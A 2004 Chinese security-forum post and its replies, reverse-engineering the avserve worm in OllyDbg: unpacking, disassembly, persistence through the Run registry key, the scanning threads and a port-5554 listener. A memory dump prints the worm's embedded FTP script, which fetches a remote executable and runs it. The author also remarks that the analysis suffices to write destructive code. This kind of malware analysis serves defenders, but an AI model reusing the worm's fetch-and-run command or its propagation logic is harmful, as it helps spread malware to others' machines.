avserve病毒初步分析！[原创]-软件逆向-看雪-安全社区|安全招聘|kanxue.com

avserve病毒初步分析！[原创]

2004-5-2 21:08 13122

avserve病毒初步分析！[原创]

mejy

2004-5-2 21:08

13122

avserve病毒初步分析

作者：mejy【BCG】【FCG】【DFCG】【NUKE】【IPB】

声明：本文仅供研究使用，任何人利用本文涉及的技术造成的不当后果由自己承担！
   由于本人第一次分析病毒，很多不正确的地方请各位大侠指正！！！
   本人第一次写本文时尚未有官方资料出来！有些地方肯定不是很准确！请谅解欢迎指正！
   反汇编会发现输入表只有几个简单的函数。
004027CE > B8 DD274000    MOV EAX,23918_up.004027DD  用OD载入程序停在这里。
载入时，提示是压缩过得！检测工具识别不出什么壳，自己试着脱一下吧！在脱壳过程中感觉壳里面包含着壳自动
复制，传播的代码！脱掉壳之后感觉其影响力要小多了！不知道对不对，先脱壳吧！

004027CE > B8 DD274000      MOV EAX,23918_up.004027DD
004027D3   8000 28          ADD BYTE PTR DS:[EAX],28
004027D6   40               INC EAX  
004027D7   8100 67452301    ADD DWORD PTR DS:[EAX],1234567 //单步走到这里，下面的代码改变
004027DD   90               NOP
004027DE   A9 521DFF50      TEST EAX,50FF1D52
004027E3   64:FF35 00000000 PUSH DWORD PTR FS:[0]
004027EA   64:8925 00000000 MOV DWORD PTR FS:[0],ESP
004027F1   33C0             XOR EAX,EAX
004027F3   8908             MOV DWORD PTR DS:[EAX],ECX
变成：
004027CE > B8 DD274000      MOV EAX,23918_up.004027DD
004027D3   8000 28          ADD BYTE PTR DS:[EAX],28
004027D6   40               INC EAX
004027D7   8100 67452301    ADD DWORD PTR DS:[EAX],1234567
004027DD   B8 10984000      MOV EAX,23918_up.00409810   在EAX的地址处设断，然后SHIFT+F9
004027E2   50               PUSH EAX
004027E3   64:FF35 00000000 PUSH DWORD PTR FS:[0]        典型异常标志
004027EA   64:8925 00000000 MOV DWORD PTR FS:[0],ESP
004027F1   33C0             XOR EAX,EAX
004027F3   8908             MOV DWORD PTR DS:[EAX],ECX

00409810   B8 B18740F0      MOV EAX,F04087B1          停在这里
00409815   8D88 82100010    LEA ECX,DWORD PTR DS:[EAX+10001082]
0040981B   8941 01          MOV DWORD PTR DS:[ECX+1],EAX
0040981E   8B5424 04        MOV EDX,DWORD PTR SS:[ESP+4]
00409822   8B52 0C          MOV EDX,DWORD PTR DS:[EDX+C]
00409825   C602 E9          MOV BYTE PTR DS:[EDX],0E9
00409828   83C2 05          ADD EDX,5
0040982B   2BCA             SUB ECX,EDX
0040982D   894A FC          MOV DWORD PTR DS:[EDX-4],ECX
00409830   33C0             XOR EAX,EAX
00409832   C3               RETN    这里返回系统空间，我用Ctrl+F9一直走到下面
00409833   B8 B18740F0      MOV EAX,F04087B1    也可以取消上面的断点，再这里设断，然后单步走，程序可直接到达OEP
00409838   64:8F05 00000000 POP DWORD PTR FS:[0]
0040983F   83C4 04          ADD ESP,4
00409842   55               PUSH EBP
00409843   53               PUSH EBX

060010B5   8945 A0          MOV DWORD PTR SS:[EBP-60],EAX     这里看见PE文件头部特征。
060010B8   837D A0 00       CMP DWORD PTR SS:[EBP-60],0
060010BC   75 07            JNZ SHORT ApiHook.060010C5
060010BE   33C0             XOR EAX,EAX
060010C0   E9 92000000      JMP ApiHook.06001157
。。。第一次来到这里
00340430   85C0             TEST EAX,EAX                             ; kernel32.ExitProcess
略
00340451   C9               LEAVE
××××××××××××××××××××××××××有一个循环，应该是处理IAT的
00340403   51               PUSH ECX        IAT，输入表USER32.DLL
00340404   FF93 8F120010    CALL DWORD PTR DS:[EBX+1000128F]  LoadLibrary
0034040A   85C0             TEST EAX,EAX
0034040C   74 3A            JE SHORT 00340448
0034040E   8945 FC          MOV DWORD PTR SS:[EBP-4],EAX
00340411   8B56 04          MOV EDX,DWORD PTR DS:[ESI+4]
00340414   03D3             ADD EDX,EBX
00340416   8B7E 08          MOV EDI,DWORD PTR DS:[ESI+8]
00340419   03FB             ADD EDI,EBX
0034041B   8B02             MOV EAX,DWORD PTR DS:[EDX]    
0034041D   85C0             TEST EAX,EAX
0034041F   74 1A            JE SHORT 0034043B
00340421   52               PUSH EDX
00340422   8B02             MOV EAX,DWORD PTR DS:[EDX]
00340424   03C3             ADD EAX,EBX
00340426   50               PUSH EAX
00340427   FF75 FC          PUSH DWORD PTR SS:[EBP-4]
0034042A   FF93 93120010    CALL DWORD PTR DS:[EBX+10001293]
00340430   85C0             TEST EAX,EAX
00340432   74 14            JE SHORT 00340448
00340434   AB               STOS DWORD PTR ES:[EDI]
00340435   5A               POP EDX
00340436   83C2 04          ADD EDX,4
00340439  ^EB E0            JMP SHORT 0034041B
走过上面来到这里
003401C0   8B4E 2C          MOV ECX,DWORD PTR DS:[ESI+2C]
003401C3   8B56 24          MOV EDX,DWORD PTR DS:[ESI+24]
003401C6   0356 08          ADD EDX,DWORD PTR DS:[ESI+8]
003401C9   6A 40            PUSH 40
003401CB   68 00100000      PUSH 1000
003401D0   51               PUSH ECX
003401D1   6A 00            PUSH 0
003401D3   FF12             CALL DWORD PTR DS:[EDX]
003401D5   8985 8B120010    MOV DWORD PTR SS:[EBP+1000128B],EAX
003401DB   56               PUSH ESI       这几个函数是恢复输入表的，应该。
003401DC   E8 D7030000      CALL 003405B8  跟进去会发现，它会拷贝输入表，和其他一些shell。
003401E1   56               PUSH ESI      
003401E2   E8 DF040000      CALL 003406C6
003401E7   56               PUSH ESI
003401E8   E8 CB020000      CALL 003404B8
003401ED   56               PUSH ESI
003401EE   E8 62020000      CALL 00340455
003401F3   8B4E 34          MOV ECX,DWORD PTR DS:[ESI+34]
003401F6   85C9             TEST ECX,ECX
一直F8单步来到下面地方
004098AE   8985 21110010    MOV DWORD PTR SS:[EBP+10001121],EAX      ; 23918_up.<ModuleEntryPoint>
004098B4   8BF0             MOV ESI,EAX
004098B6   59               POP ECX
略调一部分
004098C9   59               POP ECX
004098CA   5B               POP EBX
004098CB   5D               POP EBP
004098CC   FFE0             JMP EAX     这里跳到新的OEP，和和原来载入的地址一样。

004027CE > 55               PUSH EBP 这时入口点就变成了这样了。
本人脱壳水平一般，理论的东西我就不班门弄赴了！
004027CF   8BEC             MOV EBP,ESP
004027D1   6A FF            PUSH -1
004027D3   68 28514000      PUSH 23918_up.00405128
到了入口点就可以DUMP程序了，然后用ImportREC修复一下，程序就脱壳成功。不过你在运行之前建议你先打上补丁。

脱下来了，咱们来分析一下该病毒的工作流程。 修复好之后用OD载入脱壳后的程序，看一下他的输入表基本上就知道
他是如何工作的了。OD载入后，Ctrl+N搜索当前模块中的名称！
为了看清它的流程，我们F8单步，一步步的跟。忘了说了，这个病毒用VC写的。
00402896  |. 50             PUSH EAX    这是VC程序运行特征，F4到这里
00402897  |. E8 4EF7FFFF    CALL dumped_.00401FEA  F7进入，要不然病毒就直接运行了

00401FEA  /$ 55             PUSH EBP  进入上面的call
00401FEB  |. 8BEC           MOV EBP,ESP
00401FED  |. 51             PUSH ECX
00401FEE  |. 51             PUSH ECX
00401FEF  |. 56             PUSH ESI
00401FF0  |. FF15 44504000  CALL DWORD PTR DS:[<&kernel32.GetTickCou>; [GetTickCount
上面是得到系统自启动以来运行的时间。
00401FF6  |. 50             PUSH EAX
00401FF7  |. E8 22F0FFFF    CALL dumped_.0040101E
上面的call作用是将时间保存到内存[406F20]当中。

00401FFC  |. 6A 01          PUSH 1
00401FFE  |. E8 6E000000    CALL dumped_.00402071
×××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××
跟进上面的call。看看它是干什么坏事的。
00402071  /$ 55             PUSH EBP
00402072  |. 8BEC           MOV EBP,ESP
00402074  |. 81EC 24080000  SUB ESP,824
0040207A  |. 56             PUSH ESI
0040207B  |. BE 00040000    MOV ESI,400
00402080  |. 8D85 DCF7FFFF  LEA EAX,DWORD PTR SS:[EBP-824]
00402086  |. 56             PUSH ESI                                 ; /BufSize => 400 (1024.)
00402087  |. 50             PUSH EAX                                 ; |PathBuffer
00402088  |. 6A 00          PUSH 0                                   ; |hModule = NULL
0040208A  |. FF15 34504000  CALL DWORD PTR DS:[<&kernel32.GetModuleF>; \GetModuleFileNameA 得到程序句柄
00402090  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424]
00402096  |. 56             PUSH ESI                                 ; /BufSize => 400 (1024.)
00402097  |. 50             PUSH EAX                                 ; |Buffer
00402098  |. FF15 4C504000  CALL DWORD PTR DS:[<&kernel32.GetWindows>; \GetWindowsDirectoryA 得到windows安装目录
0040209E  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424]   堆栈中是取得的目录
004020A4  |. 50             PUSH EAX    
004020A5  |. E8 96000000    CALL dumped_.00402140 这个函数干什么，没明白好像没多大作用
004020AA  |. 80BC05 DBFBFFF>CMP BYTE PTR SS:[EBP+EAX-425],5C
004020B2  |. 59             POP ECX
004020B3  |. 5E             POP ESI
004020B4  |. 74 13          JE SHORT dumped_.004020C9
004020B6  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424]
004020BC  |. 68 B06A4000    PUSH dumped_.00406AB0
004020C1  |. 50             PUSH EAX
004020C2  |. E8 F9050000    CALL dumped_.004026C0
这里进去看看慢慢的你看见内存中
004068C8  20 69 40 00 18 69 40 00 10 69 40 00 08 69 40 00   i@.i@.i@.i@.
004068D8  00 69 40 00 F8 68 40 00 F0 68 40 00 E8 68 40 00  .i@.?@.痂@.梃@.
004068E8  31 35 30 20 4F 4B 0A 00 32 30 30 20 4F 4B 0A 00  150 OK..200 OK..
004068F8  32 32 36 20 4F 4B 0A 00 32 33 30 20 4F 4B 0A 00  226 OK..230 OK..
00406908  33 33 31 20 4F 4B 0A 00 32 32 30 20 4F 4B 0A 00  331 OK..220 OK..
00406918  61 76 73 65 72 76 65 00 61 76 73 65 72 76 65 2E  avserve.avserve.  程序名
00406928  65 78 65 00 65 63 68 6F 20 6F 66 66 26 65 63 68  exe.echo off&ech
00406938  6F 20 6F 70 65 6E 20 25 73 20 35 35 35 34 3E 3E  o open %s 5554>>
00406948  63 6D 64 2E 66 74 70 26 65 63 68 6F 20 61 6E 6F  cmd.ftp&echo ano
00406958  6E 79 6D 6F 75 73 3E 3E 63 6D 64 2E 66 74 70 26  nymous>>cmd.ftp&
00406968  65 63 68 6F 20 75 73 65 72 26 65 63 68 6F 20 62  echo user&echo b
00406978  69 6E 3E 3E 63 6D 64 2E 66 74 70 26 65 63 68 6F  in>>cmd.ftp&echo
00406988  20 67 65 74 20 25 69 5F 75 70 2E 65 78 65 3E 3E   get %i_up.exe>>
00406998  63 6D 64 2E 66 74 70 26 65 63 68 6F 20 62 79 65  cmd.ftp&echo bye
004069A8  3E 3E 63 6D 64 2E 66 74 70 26 65 63 68 6F 20 6F  >>cmd.ftp&echo o
004069B8  6E 26 66 74 70 20 2D 73 3A 63 6D 64 2E 66 74 70  n&ftp -s:cmd.ftp
004069C8  26 25 69 5F 75 70 2E 65 78 65 26 65 63 68 6F 20  &%i_up.exe&echo
004069D8  6F 66 66 26 64 65 6C 20 63 6D 64 2E 66 74 70 26  off&del cmd.ftp&
004069E8  65 63 68 6F 20 6F 6E 0A 00 00 00 00 31 32 37 2E  echo on.....127.
004069F8  30 2E 30 2E 31 00 00 00 25 73 25 63 00 00 00 00  0.0.1...%s%c....
00406A08  5C 5C 25 73 5C 69 70 63 24 00 00 00 EB 06        \\%s\ipc$...??
这个应该是干坏事的东西吧（估计）
004026C0  /$ 8B4C24 04      MOV ECX,DWORD PTR SS:[ESP+4]
省略一部分，大家可以自己跟进
0040271C  |. EB 03          JMP SHORT dumped_.00402721
0040271E  |> 8D79 FC        LEA EDI,DWORD PTR DS:[ECX-4]
00402721  |> 8B4C24 0C      MOV ECX,DWORD PTR SS:[ESP+C]   avserve.exe病毒的另一副本名称
00402725  |. F7C1 03000000  TEST ECX,3
省略一部分
0040279F  \. C3             RETN




004020C7  |. 59             POP ECX
004020C8  |. 59             POP ECX
004020C9  |> FF35 C8684000  PUSH DWORD PTR DS:[4068C8]               ;  dumped_.00406920
004020CF  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424]
004020D5  |. 50             PUSH EAX
004020D6  |. E8 E5050000    CALL dumped_.004026C0
004020DB  |. 807D 08 00     CMP BYTE PTR SS:[EBP+8],0
004020DF  |. 59             POP ECX
004020E0  |. 59             POP ECX
004020E1  |. 74 16          JE SHORT dumped_.004020F9   这里判断你的Windows安装目录下面有没有avserve.exe文件没有下面就复制

004020E3  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424]
004020E9  |. 6A 00          PUSH 0                                   ; /FailIfExists = FALSE
004020EB  |. 50             PUSH EAX                                 ; |NewFileName
004020EC  |. 8D85 DCF7FFFF  LEA EAX,DWORD PTR SS:[EBP-824]           ; |
004020F2  |. 50             PUSH EAX                                 ; |ExistingFileName
004020F3  |. FF15 48504000  CALL DWORD PTR DS:[<&kernel32.CopyFileA>>; \CopyFileA  自动复制
004020F9  |> 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4]
004020FC  |. 50             PUSH EAX                                 ; /pHandle
004020FD  |. 68 806A4000    PUSH dumped_.00406A80                    ; |Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
00402102  |. 68 02000080    PUSH 80000002                            ; |hKey = HKEY_LOCAL_MACHINE
00402107  |. FF15 04504000  CALL DWORD PTR DS:[<&advapi32.RegOpenKey>; \RegOpenKeyA   这里很明显了改你的注册表，使程序自己开机自动执行
0040210D  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424]
00402113  |. 50             PUSH EAX
00402114  |. E8 27000000    CALL dumped_.00402140
00402119  |. 59             POP ECX
0040211A  |. 50             PUSH EAX                                 ; /BufSize
0040211B  |. 8D85 DCFBFFFF  LEA EAX,DWORD PTR SS:[EBP-424]           ; |
00402121  |. 50             PUSH EAX                                 ; |Buffer
00402122  |. 6A 01          PUSH 1                                   ; |ValueType = REG_SZ
00402124  |. 6A 00          PUSH 0                                   ; |Reserved = 0
00402126  |. FF35 C8684000  PUSH DWORD PTR DS:[4068C8]               ; |ValueName = "avserve.exe"
0040212C  |. FF75 FC        PUSH DWORD PTR SS:[EBP-4]                ; |hKey
0040212F  |. FF15 08504000  CALL DWORD PTR DS:[<&advapi32.RegSetValu>; \RegSetValueExA
00402135  |. FF75 FC        PUSH DWORD PTR SS:[EBP-4]                ; /hKey
00402138  |. FF15 0C504000  CALL DWORD PTR DS:[<&advapi32.RegCloseKe>; \RegCloseKey
0040213E  |. C9             LEAVE
0040213F  \. C3             RETN 这里就完了。回去下面干坏事了
×××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××
00402003  |. 59             POP ECX
00402004  |. 59             POP ECX
00402005  |. E8 1EF0FFFF    CALL dumped_.00401028
0040200A  |. 33F6           XOR ESI,ESI
0040200C  |. 68 746A4000    PUSH dumped_.00406A74                    ; /MutexName = "Jobaka3l"
00402011  |. 56             PUSH ESI                                 ; |InitialOwner => FALSE
00402012  |. 56             PUSH ESI                                 ; |pSecurity => NULL
00402013  |. FF15 40504000  CALL DWORD PTR DS:[<&kernel32.CreateMute>; \CreateMutexA  
创建一个信号量，目的何在？
00402019  |. FF15 3C504000  CALL DWORD PTR DS:[<&kernel32.GetLastErr>; [GetLastError
0040201F  |. 3D B7000000    CMP EAX,0B7
00402024  |. 75 07          JNZ SHORT dumped_.0040202D  这里如果跳的话，病毒就要开始发威了
00402026  |. 33C0           XOR EAX,EAX
00402028  |. 5E             POP ESI
00402029  |. C9             LEAVE
0040202A  |. C2 1000        RETN 10
0040202D  |> 53             PUSH EBX
0040202E  |. 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4]
00402031  |. 57             PUSH EDI
00402032  |. 8B3D 38504000  MOV EDI,DWORD PTR DS:[<&kernel32.CreateT>;  KERNEL32.CreateThread
创建线程了
00402038  |. 50             PUSH EAX                                 ; /pThreadId
00402039  |. 56             PUSH ESI                                 ; |CreationFlags
0040203A  |. 56             PUSH ESI                                 ; |pThreadParm
0040203B  |. 68 6A1E4000    PUSH dumped_.00401E6A                    ; |ThreadFunction = dumped_.00401E6A  线程函数的种子函数
00402040  |. 56             PUSH ESI                                 ; |StackSize
00402041  |. 56             PUSH ESI                                 ; |pSecurity
00402042  |. FFD7           CALL EDI                                 ; \CreateThread
00402044  |. BB 80000000    MOV EBX,80    循环创建0x80＝128个线程
00402049  |> 8D45 F8        /LEA EAX,DWORD PTR SS:[EBP-8]
0040204C  |. 50             |PUSH EAX
0040204D  |. 56             |PUSH ESI
0040204E  |. 56             |PUSH ESI
0040204F  |. 68 F51E4000    |PUSH dumped_.00401EF5
00402054  |. 56             |PUSH ESI
00402055  |. 56             |PUSH ESI
00402056  |. FFD7           |CALL EDI
00402058  |. 4B             |DEC EBX     循环创建
00402059  |.^75 EE          \JNZ SHORT dumped_.00402049  到这里你不防改一下！不用它来128个了，一个就够你分析了

0040205B  |. 5F             POP EDI
0040205C  |. 5B             POP EBX
0040205D  |> 56             PUSH ESI                                 ; /MachineName
0040205E  |. FF15 00504000  CALL DWORD PTR DS:[<&advapi32.AbortSyste>; \AbortSystemShutdownA 用这个函数关机。
00402064  |. 68 B80B0000    PUSH 0BB8                                ; /Timeout = 3000. ms
00402069  |. FF15 1C504000  CALL DWORD PTR DS:[<&kernel32.Sleep>]    ; \Sleep   睡它一会
它睡得时候好像也没消停，去线程函数那里执行去了 
0040206F  \.^EB EC          JMP SHORT dumped_.0040205D

线程函数
00401E6A  /. 55             PUSH EBP
00401E6B  |. 8BEC           MOV EBP,ESP
00401E6D  |. 83EC 14        SUB ESP,14
00401E70  |. 56             PUSH ESI
00401E71  |. 33F6           XOR ESI,ESI
00401E73  |. 57             PUSH EDI
00401E74  |. 56             PUSH ESI                                 ; /Protocol => IPPROTO_IP
00401E75  |. 6A 01          PUSH 1                                   ; |Type = SOCK_STREAM
00401E77  |. 6A 02          PUSH 2                                   ; |Family = AF_INET
00401E79  |. FF15 F0504000  CALL DWORD PTR DS:[<&ws2_32.socket>]     ; \socket   创建socket
00401E7F  |. 8BF8           MOV EDI,EAX
00401E81  |. 83FF FF        CMP EDI,-1
00401E84  |. 75 08          JNZ SHORT dumped_.00401E8E
00401E86  |> 5F             POP EDI
00401E87  |. 33C0           XOR EAX,EAX
00401E89  |. 5E             POP ESI
00401E8A  |. C9             LEAVE
00401E8B  |. C2 0400        RETN 4
00401E8E  |> 68 B2150000    PUSH 15B2                                ; /NetShort = 15B2
00401E93  |. 66:C745 EC 020>MOV WORD PTR SS:[EBP-14],2               ; |
00401E99  |. FF15 EC504000  CALL DWORD PTR DS:[<&ws2_32.htons>]      ; \ntohs  这个函数好像是做端口转换的吧，
网络编程偶不行的说
00401E9F  |. 66:8945 EE     MOV WORD PTR SS:[EBP-12],AX
00401EA3  |. 8D45 EC        LEA EAX,DWORD PTR SS:[EBP-14]
00401EA6  |. 6A 10          PUSH 10                                  ; /AddrLen = 10 (16.)
00401EA8  |. 50             PUSH EAX                                 ; |pSockAddr
00401EA9  |. 57             PUSH EDI                                 ; |Socket
00401EAA  |. 8975 F0        MOV DWORD PTR SS:[EBP-10],ESI            ; |
00401EAD  |. FF15 18514000  CALL DWORD PTR DS:[<&ws2_32.bind>]       ; \bind  绑定一个socket
00401EB3  |. 83F8 FF        CMP EAX,-1
00401EB6  |. 74 0E          JE SHORT dumped_.00401EC6
00401EB8  |. 6A 05          PUSH 5                                   ; /Backlog = 5
00401EBA  |. 57             PUSH EDI                                 ; |Socket
00401EBB  |. FF15 FC504000  CALL DWORD PTR DS:[<&ws2_32.listen>]     ; \listen  监听，队列长度是5
网络牛人们知道是干吗的
00401EC1  |. 83F8 FF        CMP EAX,-1   这里跳到下面去 ，
00401EC4  |. 75 09          JNZ SHORT dumped_.00401ECF
00401EC6  |> 57             PUSH EDI                                 ; /Socket
00401EC7  |. FF15 00514000  CALL DWORD PTR DS:[<&ws2_32.closesocket>>; \closesocket  关闭socket
干完坏事，还没忘这个！
00401ECD  |.^EB B7          JMP SHORT dumped_.00401E86
从上面跳到下面
00401ECF  |> 56             /PUSH ESI                                ; /pAddrLen
00401ED0  |. 56             |PUSH ESI                                ; |pSockAddr
00401ED1  |. 57             |PUSH EDI                                ; |Socket
00401ED2  |. FF15 E4504000  |CALL DWORD PTR DS:[<&ws2_32.accept>]    ; \accept  接受连接吧这里应该忘了
程序到了这里，不动了，没法向下调试了，因为我没找到目标
不过往下看看就知道了，应该是产生IP地址并试图攻击。具体怎么作我不分析了。说多了不好。
00401ED8  |. 8D4D FC        |LEA ECX,DWORD PTR SS:[EBP-4]
00401EDB  |. 51             |PUSH ECX                                ; /pThreadId
00401EDC  |. 56             |PUSH ESI                                ; |CreationFlags
00401EDD  |. 50             |PUSH EAX                                ; |pThreadParm
00401EDE  |. 68 031B4000    |PUSH dumped_.00401B03                   ; |ThreadFunction = dumped_.00401B03
00401EE3  |. 56             |PUSH ESI                                ; |StackSize
00401EE4  |. 56             |PUSH ESI                                ; |pSecurity
00401EE5  |. FF15 38504000  |CALL DWORD PTR DS:[<&kernel32.CreateThr>; \CreateThread
00401EEB  |. 6A 19          |PUSH 19                                 ; /Timeout = 25. ms
00401EED  |. FF15 1C504000  |CALL DWORD PTR DS:[<&kernel32.Sleep>]   ; \Sleep
00401EF3  \.^EB DA          \JMP SHORT dumped_.00401ECF
00401EF5   . 83EC 54        SUB ESP,54
00401EF8   . 53             PUSH EBX
00401EF9   . 55             PUSH EBP
00401EFA   . 8B2D DC504000  MOV EBP,DWORD PTR DS:[<&user32.wsprintfA>;  user32.wsprintfA
这里再省略一部分
00401FBB   . 8BCE           MOV ECX,ESI
00401FBD   . F7F9           IDIV ECX
00401FBF   . 52             PUSH EDX
00401FC0   > 8D4424 20      LEA EAX,DWORD PTR SS:[ESP+20]
00401FC4   . 68 4C6A4000    PUSH dumped_.00406A4C                    ;  ASCII "%i.%i.%i.%i" 
IP地址的格式哟
00401FC9   . 50             PUSH EAX
00401FCA   . FFD5           CALL EBP
00401FCC   . 83C4 18        ADD ESP,18
00401FCF   . 8D4424 10      LEA EAX,DWORD PTR SS:[ESP+10]
00401FD3   . 50             PUSH EAX
00401FD4   . E8 39FAFFFF    CALL dumped_.00401A12
00401FD9   . 59             POP ECX
00401FDA   . 68 FA000000    PUSH 0FA                                 ; /Timeout = 250. ms
00401FDF   . FF15 1C504000  CALL DWORD PTR DS:[<&kernel32.Sleep>]    ; \Sleep
这么快就干坏事
00401FE5   .^E9 1DFFFFFF    JMP dumped_.00401F07

至此，分析完毕！至于病毒如何利用漏洞来实现shell的，本人水平有限和一些原因不分析了，有兴趣的自己研究
最后申明，到这里大家自己写一个破坏系统的程序已经足够了！不过由此引发的后果本人不负责任！

写完感觉有点班门弄斧之闲！不过毕竟是我第一次分析病毒，愿和大家共享！病毒原来如此简单！
转载请保持完整性！

[培训]二进制漏洞攻防（第3期）；满10人开班；模糊测试与工具使用二次开发；网络协议漏洞挖掘；Linux内核漏洞挖掘与利用；AOSP漏洞挖掘与利用；代码审计。

收藏・9

点赞・10

打赏

最新回复 (11)
橡皮泥雪币： 209 活跃值： (40) 能力值： ( LV2，RANK：10 ) 在线值：发帖 5 回帖 87 粉丝 1 关注私信	橡皮泥 2004-5-2 21:34 2 楼 0 都是强人啊，不知道我什么时候才有象大虾这样的分析能力！
doskey 雪币： 329 活跃值： (343) 能力值： ( LV10，RANK：170 ) 在线值：发帖 36 回帖 461 粉丝 4 关注私信	doskey 4 2004-5-2 22:34 3 楼 0 不错。我也准备写两篇病毒分析的文章:P
cyclotron 雪币： 392 活跃值： (909) 能力值： ( LV9，RANK：690 ) 在线值：发帖 43 回帖 800 粉丝 8 关注私信	cyclotron 17 2004-5-3 00:11 4 楼 0 支持，学习！
David 雪币： 411 活跃值： (1160) 能力值： ( LV9，RANK：810 ) 在线值：发帖 44 回帖 404 粉丝 4 关注私信	David 20 2004-5-3 00:37 5 楼 0 最初由 cyclotron 发布支持，学习！学习也不能用病毒调试吧,跟自己机器过不去.:p
peak 雪币： 200 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 2 粉丝 1 关注私信	peak 2004-5-6 12:14 6 楼 0 good
sixfor 雪币： 236 活跃值： (48) 能力值： ( LV2，RANK：10 ) 在线值：发帖 32 回帖 300 粉丝 1 关注私信	sixfor 2004-5-13 11:06 7 楼 0 学习之中…… 真是高手。
Pan88168 雪币： 439 活跃值： (86) 能力值： ( LV2，RANK：10 ) 在线值：发帖 14 回帖 1095 粉丝 7 关注私信	Pan88168 2004-5-13 11:15 8 楼 0 可怕呢,还是不要玩了,以前玩过一次,把我弄得够惨的呢.
daxia200N 雪币： 674 活跃值： (1684) 能力值： ( LV9，RANK：250 ) 在线值：发帖 40 回帖 575 粉丝 5 关注私信	daxia200N 6 2004-5-13 11:45 9 楼 0 在虚拟机上调试更安全些。
lelfei 雪币： 6051 活跃值： (1441) 能力值： ( LV15，RANK：1473 ) 在线值：发帖 55 回帖 519 粉丝 16 关注私信	lelfei 23 2004-5-13 12:36 10 楼 0 我以前只研究了一个那个利用folder.htt自我复制的病毒,那个危险系数就小多了,呵呵
Spooney 雪币： 207 活跃值： (40) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 13 粉丝 0 关注私信	Spooney 2004-5-13 12:53 11 楼 0 我相信只要用心，很多人都可以做到！
WHO-AM-I 雪币： 210 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 67 粉丝 1 关注私信	WHO-AM-I 2004-5-13 14:12 12 楼 0 太危险，建意功力不深请忽模仿！！
	游客登录 \| 注册方可回帖　回帖　表情雪币赚取及消费高级回复